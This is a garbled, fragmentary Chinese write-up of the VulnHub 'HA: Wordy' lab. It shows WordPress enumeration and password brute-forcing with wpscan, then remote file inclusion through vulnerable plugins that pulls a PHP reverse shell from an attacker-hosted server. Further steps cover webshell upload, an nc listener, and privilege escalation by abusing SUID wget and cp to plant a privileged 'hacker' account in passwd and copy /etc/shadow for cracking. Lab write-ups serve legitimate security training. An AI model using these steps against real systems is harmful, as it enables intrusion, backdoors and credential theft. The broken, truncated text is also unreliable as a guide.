0、总结

组件漏洞URL漏洞#xff1a;RFI、FileUpload提升权限

www-data用户

对资产清单开展漏洞扫描、渗透测试、配置核查、开源组件扫描等漏洞发现工作并及时修复互联网高危

Nday

漏洞对资产清单开展流量侧、主机侧等的攻击监测工作对真实的攻击行为进行及时阻断对成功的攻击事件进行及时处置。

1、资产发现

开放的端口提供的服务使用的组件组件的版本80/tcphttpApache

httpd2.4.29-osUbuntu

0x02、和文件并逐个检查只有/wordpress/wp-login.php文件是有价值的。

使用命令wpscan

http://172.16.33.108/wordpress/

--enumerate

http://172.16.33.108/wordpress/

--usernames

/usr/share/wordlists/rockyou.txt爆破这俩用户的密码2

使用命令wpscan

http://172.16.33.108/wordpress/扫描

WordPress

URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?plhttp://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问最终拿到www-data用户的

shell

36374.html编辑文件上传漏洞的利用页面后使用命令python3

http.server搭建

服务器在浏览器中访问文件上传漏洞的利用页面http://127.0.0.1:8000/36374.html并上传改好了

port

Webshell/usr/share/webshells/php/php-reverse-shell.php但是报错{error:Directory

does

经过分析要上传文件的文件夹不存在且不能创建那就找个存在的文件夹吧。

浏览发现存在2019-09和2022-11两个文件夹修改文件上传漏洞的利用页面后重新上传反弹

使用命令nc

地址http://172.16.33.108/wordpress/wp-content/uploads/2019/09/php-reverse-shell.php最终成功获得

www-data

URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_pathhttp://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问结果报错{success:false,message:Error:

didnt

使用浏览器访问https://172.16.33.108:80/提示网站没有使用

SSL

2/dev/null查看哪些命令在执行时会以该命令属主的权限执行发现还不少。

逐个在GTFOBins[4]查询能否用于提权发现/usr/bin/wget可以。

分别执行

EXPTF$(mktemp)、chmod

passwd创建植入了特权账户hacker和密码123456的新

passwd

逐个在GTFOBins[5]查询能否用于提权发现/bin/cp可以有

/etc/shadow

/tmp/shadow将密码文件拷贝出来然后在本地使用命令john

shadow

--wordlist/usr/share/wordlists/rockyou.txt

中植入特权用户进行提权步骤参考刚才

https://www.vulnhub.com/entry/ha-wordy,363/

[2]